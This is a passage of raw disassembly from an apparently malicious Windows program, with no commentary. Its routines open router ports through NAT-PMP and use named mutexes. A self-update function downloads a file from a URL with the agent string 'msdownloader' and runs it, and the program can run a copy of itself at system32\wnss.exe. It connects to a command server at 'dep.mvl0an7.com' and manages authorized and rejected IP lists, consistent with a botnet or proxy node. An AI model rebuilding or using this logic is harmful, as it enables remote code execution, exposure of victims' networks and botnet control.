loc_40309D: ; CODE XREF: sub_402B02+159j
; sub_402B02+1A1j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_402B02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030A4 proc near ; CODE XREF: sub_403113+16p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
and [ebp+var_4], 0
xor esi, esi
push 3Ch
call sub_401048
pop ecx
mov ebx, eax
test eax, eax
jz short loc_40310D
push 0
lea eax, [ebp+var_4]
push eax
push ebx
call sub_406DF8
cmp eax, 7Ah
jnz short loc_4030E8
push ebx
call sub_401076
pop ecx
mov eax, [ebp+var_4]
push eax
call sub_401048
pop ecx
mov ebx, eax
test eax, eax
jz short loc_40310D
loc_4030E8: ; CODE XREF: sub_4030A4+2Bj
push 0
lea eax, [ebp+var_4]
push eax
push ebx
call sub_406DF8
test eax, eax
jnz short loc_403104
mov eax, [ebx]
mov [ebp+var_8], eax
test eax, eax
jz short loc_403104
mov esi, [ebx+10h]
loc_403104: ; CODE XREF: sub_4030A4+52j
; sub_4030A4+5Bj
push ebx
call sub_401076
pop ecx
mov eax, esi
loc_40310D: ; CODE XREF: sub_4030A4+1Aj
; sub_4030A4+42j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4030A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403113 proc near ; CODE XREF: sub_40356A+17p
; sub_404967+15Ep
var_C0 = dword ptr -0C0h
var_BC = byte ptr -0BCh
var_B8 = dword ptr -0B8h
var_AC = word ptr -0ACh
var_AA = word ptr -0AAh
var_A8 = dword ptr -0A8h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = word ptr -94h
var_92 = word ptr -92h
var_90 = dword ptr -90h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_78 = byte ptr -78h
push ebp
mov ebp, esp
sub esp, 0C0h
push ebx
push esi
push edi
mov [ebp+var_9C], 0FAh
call sub_4030A4
mov [ebp+var_84], eax
test eax, eax
jz loc_40331B
mov [ebp+var_94], 2
mov eax, [ebp+var_84]
mov [ebp+var_90], eax
push 14E7h
call sub_406D98
mov [ebp+var_92], ax
mov eax, [ebp+var_84]
mov [ebp+var_98], eax
push eax
call sub_406DE0
push eax
push offset aDefaultGateway ; "default gateway: [%s]\n"
call sub_407320
pop ecx
pop ecx
xor ebx, ebx
inc ebx
push 11h
push 2
push 2
call sub_406D7A
mov esi, eax
push 10h
push 0
lea eax, [ebp+var_AC]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_AC], 2
mov eax, [ebp+var_84]
mov [ebp+var_A8], eax
push 14E7h
call sub_406D98
mov [ebp+var_AA], ax
lea edi, [ebp+var_AC]
push 10h
push edi
push esi
call sub_406DA4
jmp loc_40330A
; ---------------------------------------------------------------------------
loc_4031DE: ; CODE XREF: sub_403113+1FAj
mov [ebp+var_C0], 10h
push ebx
push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
call sub_407320
pop ecx
pop ecx
mov [ebp+var_80], 0
mov [ebp+var_7F], 0
push 10h
lea eax, [ebp+var_94]
push eax
push 0
push 2
lea eax, [ebp+var_80]
push eax
push esi
call sub_406DE6
test eax, eax
jge short loc_403225
push esi
call sub_406D86
xor eax, eax
jmp loc_40331B
; ---------------------------------------------------------------------------
loc_403225: ; CODE XREF: sub_403113+103j
push ebx
push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
call sub_407320
pop ecx
pop ecx
push 4
lea eax, [ebp+var_9C]
push eax
push 1006h
push 0FFFFh
push esi
call sub_406D80
test eax, eax
jge short loc_40325C
push esi
call sub_406D86
xor eax, eax
jmp loc_40331B
; ---------------------------------------------------------------------------
loc_40325C: ; CODE XREF: sub_403113+13Aj
push ebx
push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
call sub_407320
pop ecx
pop ecx
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_BC]
push eax
push 0
push 0Ch
lea eax, [ebp+var_80]
push eax
push esi
call sub_406DEC
test eax, eax
jge short loc_4032A4
call sub_406DF2
cmp eax, 274Ch
jnz short loc_40329A
cmp ebx, 9
jnz short loc_403303
loc_40329A: ; CODE XREF: sub_403113+180j
push esi
call sub_406D86
xor eax, eax
jmp short loc_40331B
; ---------------------------------------------------------------------------
loc_4032A4: ; CODE XREF: sub_403113+174j
push ebx
push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n"
call sub_407320
pop ecx
pop ecx
mov eax, [ebp+var_90]
cmp [ebp+var_B8], eax
jnz short loc_403303
push 4
lea eax, [ebp+var_78]
push eax
lea eax, [ebp+var_84]
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [ebp+var_84]
mov [ebp+var_98], eax
push eax
call sub_406DE0
push eax
push ebx
push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n"
call sub_407320
add esp, 0Ch
push esi
call sub_406D86
mov eax, [ebp+var_84]
jmp short loc_40331B
; ---------------------------------------------------------------------------
loc_403303: ; CODE XREF: sub_403113+185j
; sub_403113+1AAj
inc ebx
shl [ebp+var_9C], 1
loc_40330A: ; CODE XREF: sub_403113+C6j
cmp ebx, 0Ah
jl loc_4031DE
push esi
call sub_406D86
xor eax, eax
loc_40331B: ; CODE XREF: sub_403113+23j
; sub_403113+10Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403322 proc near ; CODE XREF: sub_40356A+33p
; sub_404967+179p
var_C0 = dword ptr -0C0h
var_BC = byte ptr -0BCh
var_B8 = dword ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = word ptr -0A4h
var_A2 = word ptr -0A2h
var_A0 = dword ptr -0A0h
var_94 = dword ptr -94h
var_90 = word ptr -90h
var_8E = word ptr -8Eh
var_8C = dword ptr -8Ch
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_7E = byte ptr -7Eh
var_7D = byte ptr -7Dh
var_7C = byte ptr -7Ch
var_7A = byte ptr -7Ah
var_78 = byte ptr -78h
var_76 = byte ptr -76h
var_75 = byte ptr -75h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 0C0h
push ebx
push esi
push edi
mov [ebp+var_94], 0FAh
mov [ebp+var_90], 2
mov eax, [ebp+arg_0]
mov [ebp+var_8C], eax
push 14E7h
call sub_406D98
mov [ebp+var_8E], ax
mov eax, [ebp+arg_0]
mov [ebp+var_A8], eax
push eax
call sub_406DE0
push eax
push offset aRouterIpS ; "router ip: [%s]\n"
call sub_407320
pop ecx
pop ecx
xor esi, esi
inc esi
push 11h
push 2
push 2
call sub_406D7A
mov edi, eax
push 10h
push 0
lea eax, [ebp+var_A4]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_A4], 2
mov eax, [ebp+arg_0]
mov [ebp+var_A0], eax
push 14E7h
call sub_406D98
mov [ebp+var_A2], ax
lea eax, [ebp+var_A4]
mov [ebp+var_AC], eax
push 10h
push [ebp+var_AC]
push edi
call sub_406DA4
jmp loc_403552
; ---------------------------------------------------------------------------
loc_4033DC: ; CODE XREF: sub_403322+233j
mov [ebp+var_C0], 10h
push esi
push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
call sub_407320
pop ecx
pop ecx
mov [ebp+var_80], 0
mov [ebp+var_7F], 2
mov [ebp+var_7E], 0
mov [ebp+var_7D], 0
lea ebx, [ebp+var_7C]
movzx eax, [ebp+arg_4]
push eax
call sub_406D98
mov [ebx], ax
lea ebx, [ebp+var_7A]
movzx eax, [ebp+arg_8]
push eax
call sub_406D98
mov [ebx], ax
lea ebx, [ebp+var_78]
mov word ptr [ebx], 0E10h
mov [ebp+var_76], 0
mov [ebp+var_75], 0
push 10h
lea eax, [ebp+var_90]
push eax
push 0
push 0Ch
lea eax, [ebp+var_80]
push eax
push edi
call sub_406DE6
test eax, eax
jge short loc_40345B
push edi
call sub_406D86
xor eax, eax
jmp loc_403563
; ---------------------------------------------------------------------------
loc_40345B: ; CODE XREF: sub_403322+12Aj
push esi
push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
call sub_407320
pop ecx
pop ecx
push 4
lea eax, [ebp+var_94]
push eax
push 1006h
push 0FFFFh
push edi
call sub_406D80
test eax, eax
jge short loc_403492
push edi
call sub_406D86
xor eax, eax
jmp loc_403563
; ---------------------------------------------------------------------------
loc_403492: ; CODE XREF: sub_403322+161j
push esi
push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n"
call sub_407320
pop ecx
pop ecx
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_BC]
push eax
push 0
push 10h
lea eax, [ebp+var_80]
push eax
push edi
call sub_406DEC
test eax, eax
jge short loc_4034DD
call sub_406DF2
cmp eax, 274Ch
jnz short loc_4034D0
cmp esi, 9
jnz short loc_40354B
loc_4034D0: ; CODE XREF: sub_403322+1A7j
push edi
call sub_406D86
xor eax, eax
jmp loc_403563
; ---------------------------------------------------------------------------
loc_4034DD: ; CODE XREF: sub_403322+19Bj
push esi
push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
call sub_407320
pop ecx
pop ecx
mov eax, [ebp+var_8C]
cmp [ebp+var_B8], eax
jnz short loc_40354B
cmp [ebp+var_7F], 82h
jnz short loc_40354B
lea ebx, [ebp+var_7E]
cmp word ptr [ebx], 0
jnz short loc_40354B
lea ebx, [ebp+var_78]
movzx eax, [ebp+arg_4]
push eax
call sub_406D98
cmp [ebx], ax
jnz short loc_40354B
lea ebx, [ebp+var_76]
movzx eax, word ptr [ebx]
push eax
call sub_406DB6
movzx eax, ax
push eax
push esi
push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n"
call sub_407320
add esp, 0Ch
push edi
call sub_406D86
movzx eax, word ptr [ebx]
push eax
call sub_406D98
movzx eax, ax
jmp short loc_403563
; ---------------------------------------------------------------------------
loc_40354B: ; CODE XREF: sub_403322+1ACj
; sub_403322+1D4j ...
inc esi
shl [ebp+var_94], 1
loc_403552: ; CODE XREF: sub_403322+B5j
cmp esi, 0Ah
jl loc_4033DC
push edi
call sub_406D86
xor eax, eax
loc_403563: ; CODE XREF: sub_403322+134j
; sub_403322+16Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403322 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40356A proc near ; DATA XREF: sub_406736+3Fo
; DMN1:00448A96o
push ebx
push esi
push edi
loc_40356D: ; CODE XREF: sub_40356A:loc_4035FBj
xor ebx, ebx
inc ebx
loc_403570: ; CODE XREF: sub_40356A+15j
push 0EA60h
call dword_411D00
inc ebx
cmp ebx, 3Fh
jl short loc_403570
call sub_403113
mov edi, eax
mov eax, dword_411010
mov si, ax
movzx eax, si
push eax
movzx eax, word ptr dword_41100C
push eax
push edi
call sub_403322
add esp, 0Ch
mov si, ax
test si, si
jz short loc_4035CD
movzx eax, si
cmp eax, dword_411010
jz short loc_4035CD
movzx eax, si
mov dword_411010, eax
push 1
push offset dword_411024
call dword_411D04
loc_4035CD: ; CODE XREF: sub_40356A+41j
; sub_40356A+4Cj
movzx eax, word ptr dword_41100C
push eax
push eax
call sub_402B02
pop ecx
pop ecx
test eax, eax
jz short loc_4035FB
mov eax, dword_41100C
cmp dword_411010, eax
jz short loc_4035FB
push 1
push offset dword_411024
call dword_411D04
loc_4035FB: ; CODE XREF: sub_40356A+75j
; sub_40356A+82j
jmp loc_40356D
sub_40356A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_403604 proc near ; CODE XREF: sub_4067B0+77p
push ebx
cmp dword_411018, 0
jz short loc_403612
xor eax, eax
jmp short loc_403656
; ---------------------------------------------------------------------------
loc_403612: ; CODE XREF: sub_403604+8j
xor ebx, ebx
push offset a_win32__wnss_s ; "_win32__wnss_sdm__"
push 0
push 0
call dword_411D08
mov dword_411018, eax
cmp dword_411018, 0
jz short loc_403654
call dword_411CE8
cmp eax, 0B7h
jnz short loc_403654
xor ebx, ebx
inc ebx
push dword_411018
call dword_411CF8
and dword_411018, 0
loc_403654: ; CODE XREF: sub_403604+2Bj
; sub_403604+38j
mov eax, ebx
loc_403656: ; CODE XREF: sub_403604+Cj
pop ebx
retn
sub_403604 endp
; =============== S U B R O U T I N E =======================================
sub_403658 proc near ; CODE XREF: sub_403FEAp
; sub_40400E+81p ...
push ebx
push esi
xor esi, esi
push offset a_win32__wnss_s ; "_win32__wnss_sdm__"
push 0
push 100000h
call dword_411D0C
mov ebx, eax
test ebx, ebx
jz short loc_403680
xor esi, esi
inc esi
push ebx
call dword_411CF8
xor ebx, ebx
loc_403680: ; CODE XREF: sub_403658+1Aj
mov eax, esi
pop esi
pop ebx
retn
sub_403658 endp
; =============== S U B R O U T I N E =======================================
sub_403685 proc near ; CODE XREF: sub_4067B0+C5p
cmp dword_411018, 0
jz short locret_4036A1
push dword_411018
call dword_411CF8
and dword_411018, 0
locret_4036A1: ; CODE XREF: sub_403685+7j
retn
sub_403685 endp
; ---------------------------------------------------------------------------
push ebx
cmp dword_41101C, 0
jz short loc_4036B0
xor eax, eax
jmp short loc_4036F4
; ---------------------------------------------------------------------------
loc_4036B0: ; CODE XREF: DMN0:004036AAj
xor ebx, ebx
push offset a_win32__wnss_0 ; "_win32__wnss_sm__"
push 0
push 0
call dword_411D08
mov dword_41101C, eax
cmp dword_41101C, 0
jz short loc_4036F2
call dword_411CE8
cmp eax, 0B7h
jnz short loc_4036F2
xor ebx, ebx
inc ebx
push dword_41101C
call dword_411CF8
and dword_41101C, 0
loc_4036F2: ; CODE XREF: DMN0:004036CDj
; DMN0:004036DAj
mov eax, ebx
loc_4036F4: ; CODE XREF: DMN0:004036AEj
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_4036F6 proc near ; CODE XREF: sub_406544+9p
; sub_406544:loc_4066D7p
push ebx
push esi
xor esi, esi
push offset a_win32__wnss_0 ; "_win32__wnss_sm__"
push 0
push 100000h
call dword_411D0C
mov ebx, eax
test ebx, ebx
jz short loc_40371E
xor esi, esi
inc esi
push ebx
call dword_411CF8
xor ebx, ebx
loc_40371E: ; CODE XREF: sub_4036F6+1Aj
mov eax, esi
pop esi
pop ebx
retn
sub_4036F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403723 proc near ; CODE XREF: sub_40399A+16Ep
; sub_4067B0+FBp ...
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_C]
test esi, esi
jz short loc_40373B
and dword ptr [esi], 0
loc_40373B: ; CODE XREF: sub_403723+13j
push 44h
push 0
lea eax, [ebp+var_44]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_44], 44h
test ebx, ebx
jz short loc_40376B
push offset asc_40EDE8 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_407730
pop ecx
pop ecx
jmp short loc_403772
; ---------------------------------------------------------------------------
loc_40376B: ; CODE XREF: sub_403723+31j
mov [ebp+var_844], 0
loc_403772: ; CODE XREF: sub_403723+46j
cmp [ebp+arg_0], 0
jz short loc_40378B
push [ebp+arg_0]
lea eax, [ebp+var_844]
push eax
call sub_407750
pop ecx
pop ecx
jmp short loc_40379E
; ---------------------------------------------------------------------------
loc_40378B: ; CODE XREF: sub_403723+53j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
lea eax, [ebp+var_844]
push eax
call sub_407750
pop ecx
pop ecx
loc_40379E: ; CODE XREF: sub_403723+66j
test ebx, ebx
jz short loc_4037B5
push offset asc_40EDE8 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_407750
pop ecx
pop ecx
loc_4037B5: ; CODE XREF: sub_403723+7Dj
cmp [ebp+arg_4], 0
jz short loc_4037DF
push offset asc_40EDC9 ; " "
lea eax, [ebp+var_844]
push eax
call sub_407750
pop ecx
pop ecx
push [ebp+arg_4]
lea eax, [ebp+var_844]
push eax
call sub_407750
pop ecx
pop ecx
loc_4037DF: ; CODE XREF: sub_403723+96j
lea eax, [ebp+var_854]
push eax
lea eax, [ebp+var_44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_844]
push eax
push 0
call dword_411D10
test eax, eax
jz short loc_403832
push [ebp+var_850]
call dword_411CF8
test esi, esi
jz short loc_403823
mov eax, [ebp+var_854]
mov [esi], eax
jmp short loc_40382F
; ---------------------------------------------------------------------------
loc_403823: ; CODE XREF: sub_403723+F4j
push [ebp+var_854]
call dword_411CF8
loc_40382F: ; CODE XREF: sub_403723+FEj
xor eax, eax
inc eax
loc_403832: ; CODE XREF: sub_403723+E4j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403723 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403838 proc near ; CODE XREF: sub_40399A+65p
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 408h
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push offset aMsdownloader ; "msdownloader"
call dword_411EF0
mov edi, eax
push edi
push offset aInternetopenI ; "InternetOpen(): %i\n"
call nullsub_2
pop ecx
pop ecx
test edi, edi
jnz short loc_403871
xor eax, eax
jmp loc_403993
; ---------------------------------------------------------------------------
loc_403871: ; CODE XREF: sub_403838+30j
push 0
push 80080300h
push 0
push 0
push [ebp+arg_0]
push edi
call dword_411EF4
mov ebx, eax
push edi
push offset aInternetopenur ; "InternetOpenUrl(): %i\n"
call nullsub_2
pop ecx
pop ecx
test ebx, ebx
jnz short loc_4038A7
push edi
call dword_411EF8
xor eax, eax
jmp loc_403993
; ---------------------------------------------------------------------------
loc_4038A7: ; CODE XREF: sub_403838+5Fj
push offset aWb_0 ; "wb"
push [ebp+arg_4]
call sub_4073C0
pop ecx
pop ecx
mov esi, eax
test esi, esi
jnz short loc_4038E0
push [ebp+arg_4]
push offset aFopenS___ ; "fopen(%s)...\n"
call nullsub_2
pop ecx
pop ecx
push ebx
call dword_411EF8
push edi
call dword_411EF8
xor eax, eax
jmp loc_403993
; ---------------------------------------------------------------------------
loc_4038E0: ; CODE XREF: sub_403838+82j
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadingSS ; "downloading [%s] --> %s\r\n"
call nullsub_2
add esp, 0Ch
push 0
call dword_411D14
jmp short loc_403918
; ---------------------------------------------------------------------------
loc_4038FD: ; CODE XREF: sub_403838+F9j
cmp [ebp+var_4], 0
jz short loc_403933
push esi
push 1
push [ebp+var_4]
lea eax, [ebp+var_404]
push eax
call sub_407820
add esp, 10h
loc_403918: ; CODE XREF: sub_403838+C3j
lea eax, [ebp+var_4]
push eax
push 3FFh
lea eax, [ebp+var_404]
push eax
push ebx
call dword_411EFC
test eax, eax
jnz short loc_4038FD
loc_403933: ; CODE XREF: sub_403838+C9j
call dword_411CE8
mov [ebp+var_408], eax
push esi
call sub_407620
pop ecx
push ebx
call dword_411EF8
push edi
call dword_411EF8
cmp [ebp+var_408], 0
jz short loc_40397D
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
call nullsub_2
add esp, 0Ch
push [ebp+arg_4]
call dword_411D18
xor eax, eax
jmp short loc_403993
; ---------------------------------------------------------------------------
loc_40397D: ; CODE XREF: sub_403838+123j
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n"
call nullsub_2
add esp, 0Ch
xor eax, eax
inc eax
loc_403993: ; CODE XREF: sub_403838+34j
; sub_403838+6Aj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403838 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40399A proc near ; DATA XREF: sub_403C3F+361o
; DMN1:004462C1o
var_3400 = byte ptr -3400h
var_2400 = byte ptr -2400h
var_1400 = byte ptr -1400h
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 3400h
call sub_4077F0
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov [ebp+var_2400], 0
mov [ebp+var_1000], 0
mov esi, ebx
push esi
push offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
call nullsub_2
pop ecx
pop ecx
lea eax, [ebp+var_3400]
push eax
push 0FFFh
call dword_411D1C
lea eax, [ebp+var_2400]
push eax
push 0
push offset aMsss ; "msss"
lea eax, [ebp+var_3400]
push eax
call dword_411D20
lea eax, [ebp+var_2400]
push eax
push esi
call sub_403838
pop ecx
pop ecx
test eax, eax
jz loc_403B21
lea eax, [ebp+var_2400]
push eax
push offset aDownloadedToS ; "downloaded to: <%s>\n"
call nullsub_2
pop ecx
pop ecx
lea eax, [ebp+var_3400]
push eax
push 0FFFh
call dword_411D1C
lea eax, [ebp+var_1000]
push eax
push 0
push offset aMsssx ; "msssx"
lea eax, [ebp+var_3400]
push eax
call dword_411D20
mov edi, dword_4128A4
push 0
lea eax, [ebp+var_1000]
push eax
push edi
call dword_411D24
test eax, eax
jz loc_403B21
push 80h
lea eax, [ebp+var_1000]
push eax
call dword_411D28
push offset aUpdate ; "*update \""
lea eax, [ebp+var_1400]
push eax
call sub_407730
pop ecx
pop ecx
lea eax, [ebp+var_2400]
push eax
lea eax, [ebp+var_1400]
push eax
call sub_407750
pop ecx
pop ecx
push offset asc_40ECEC ; "\" \""
lea eax, [ebp+var_1400]
push eax
call sub_407750
pop ecx
pop ecx
push edi
lea eax, [ebp+var_1400]
push eax
call sub_407750
pop ecx
pop ecx
push offset asc_40EDE8 ; "\""
lea eax, [ebp+var_1400]
push eax
call sub_407750
pop ecx
pop ecx
lea eax, [ebp+var_1400]
push eax
lea eax, [ebp+var_1000]
push eax
push offset aRunningSS___ ; "running %s (%s)...\r\n"
call nullsub_2
add esp, 0Ch
push 0
push 1
lea eax, [ebp+var_1400]
push eax
lea eax, [ebp+var_1000]
push eax
call sub_403723
add esp, 10h
test eax, eax
jz short loc_403B21
loc_403B14: ; CODE XREF: sub_40399A+185j
push 1770h
call dword_411D00
jmp short loc_403B14
; ---------------------------------------------------------------------------
loc_403B21: ; CODE XREF: sub_40399A+6Ej
; sub_40399A+CCj ...
push 0
push offset dword_411014
call dword_411D04
lea eax, [ebp+var_2400]
push eax
call sub_407710
pop ecx
test eax, eax
jz short loc_403B4C
lea eax, [ebp+var_2400]
push eax
call dword_411D18
loc_403B4C: ; CODE XREF: sub_40399A+1A3j
lea eax, [ebp+var_1000]
push eax
call sub_407710
pop ecx
test eax, eax
jz short loc_403B6A
lea eax, [ebp+var_1000]
push eax
call dword_411D18
loc_403B6A: ; CODE XREF: sub_40399A+1C1j
push ebx
call sub_401076
pop ecx
call sub_407A60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40399A endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_403B7E proc near ; CODE XREF: sub_403C3F:loc_403E14p
xor ecx, ecx
mov eax, ecx
retn
sub_403B7E endp
; =============== S U B R O U T I N E =======================================
sub_403B83 proc near ; CODE XREF: sub_403C3F+13Bp
; sub_403C3F+14Dp
xor eax, eax
retn
sub_403B83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B86 proc near ; CODE XREF: sub_403C3F+2C6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
push ebx
push esi
mov ebx, [ebp+arg_4]
xor esi, esi
push offset dword_41285C
call dword_411CCC
cmp [ebp+arg_8], 0
jnz short loc_403BAE
push dword_412934
call sub_401F9B
pop ecx
loc_403BAE: ; CODE XREF: sub_403B86+1Aj
mov esi, [ebp+arg_0]
mov eax, ebx
mov ecx, 4
cdq
idiv ecx
mov ebx, eax
jmp short loc_403BF6
; ---------------------------------------------------------------------------
loc_403BBF: ; CODE XREF: sub_403B86+72j
push 0
push dword ptr [esi]
push dword_412934
call sub_402049
add esp, 0Ch
mov eax, [esi]
mov [ebp+var_4], eax
push eax
call sub_406DE0
push eax
mov eax, dword_412934
push dword ptr [eax+8]
push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n"
call nullsub_2
add esp, 0Ch
dec ebx
add esi, 4
loc_403BF6: ; CODE XREF: sub_403B86+37j
test ebx, ebx
jg short loc_403BBF
push offset dword_41285C
call dword_411CD0
xor eax, eax
inc eax
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403B86 endp
; ---------------------------------------------------------------------------
push ebx
push edi
mov ecx, [esp+0Ch]
mov ebx, [esp+10h]
xor edi, edi
jmp short loc_403C28
; ---------------------------------------------------------------------------
loc_403C1C: ; CODE XREF: DMN0:00403C32j
mov eax, [ebx+4]
mov [ecx], eax
mov ebx, [ebx+8]
add ecx, 4
inc edi
loc_403C28: ; CODE XREF: DMN0:00403C1Aj
cmp edi, 4000h
jge short loc_403C34
test ebx, ebx
jnz short loc_403C1C
loc_403C34: ; CODE XREF: DMN0:00403C2Ej
mov edx, [esp+14h]
mov [edx], edi
mov eax, ebx
pop edi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C3F proc near ; DATA XREF: sub_40400E+Fo
; DMN1:0044633Eo
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = word ptr -2
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
push offset dword_41285C
call dword_411CCC
push dword_412934
call sub_401F9B
pop ecx
push offset dword_41285C
call dword_411CD0
push offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
call sub_4017BE
pop ecx
mov [ebp+var_14], eax
test eax, eax
jz short loc_403C87
cmp eax, 0FFFFFFFFh
jz short loc_403C87
test eax, eax
jnz short loc_403C8C
loc_403C87: ; CODE XREF: sub_403C3F+3Bj
; sub_403C3F+42j
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403C8C: ; CODE XREF: sub_403C3F+46j
mov [ebp+var_16], 24EAh
xor esi, esi
and [ebp+var_C], 0
push 0
push offset dword_411024
call dword_411D04
cmp dword_411004, 0
jnz short loc_403CCA
movzx eax, word ptr dword_41100C
push eax
movzx eax, word ptr dword_411010
push eax
call sub_4023DC
pop ecx
pop ecx
mov dword_411004, eax
loc_403CCA: ; CODE XREF: sub_403C3F+6Dj
movzx eax, word ptr dword_41100C
push eax
movzx eax, word ptr dword_411010
push eax
call sub_402449
pop ecx
pop ecx
push dword_411010
push offset aMyPortI ; "my port [%i]\n"
call nullsub_2
pop ecx
pop ecx
mov eax, [ebp+var_14]
mov [ebp+var_1C], eax
push eax
call sub_406DE0
mov [ebp+var_20], eax
movzx eax, [ebp+var_16]
push eax
push [ebp+var_20]
push offset aSrvSI ; "SRV: [%s:%i]\n"
call nullsub_2
add esp, 0Ch
and [ebp+var_10], 0
call sub_401359
mov [ebp+var_10], eax
test eax, eax
jz loc_403FB9
push [ebp+var_10]
call sub_4019C3
pop ecx
mov esi, eax
push offset aSrvConnecting_ ; "SRV: connecting...\n"
call nullsub_2
pop ecx
movzx eax, [ebp+var_16]
push eax
push [ebp+var_14]
push [ebp+var_10]
call sub_401567
add esp, 0Ch
test eax, eax
jnz short loc_403D68
push offset aSrvConnectingF ; "SRV: connecting failed.\n"
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403D68: ; CODE XREF: sub_403C3F+117j
push offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
call nullsub_2
pop ecx
mov [ebp+var_24], 1000h
call sub_403B83
push eax
push offset aSrvRip?I ; "SRV: rip? %i\n"
call nullsub_2
pop ecx
pop ecx
call sub_403B83
test eax, eax
jz short loc_403D99
or [ebp+var_24], 1
loc_403D99: ; CODE XREF: sub_403C3F+154j
push [ebp+var_24]
movzx eax, word ptr dword_411010
push eax
push esi
call sub_401D76
add esp, 0Ch
test eax, eax
jnz short loc_403DC1
push offset aSrvHandshaking ; "SRV: handshaking failed.\n"
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403DC1: ; CODE XREF: sub_403C3F+170j
push offset word_40EC12
call nullsub_2
pop ecx
push esi
call sub_401F51
pop ecx
mov [ebp+var_8], eax
test eax, eax
jz short loc_403DEA
push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n"
call nullsub_2
pop ecx
jmp loc_403FB9
; ---------------------------------------------------------------------------
loc_403DEA: ; CODE XREF: sub_403C3F+199j
test byte ptr [ebp+var_24], 1
jz loc_403EA1
push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
call nullsub_2
pop ecx
push 10004h
call sub_401048
pop ecx
mov [ebp+var_30], eax
mov [ebp+var_2C], eax
and [ebp+var_28], 0
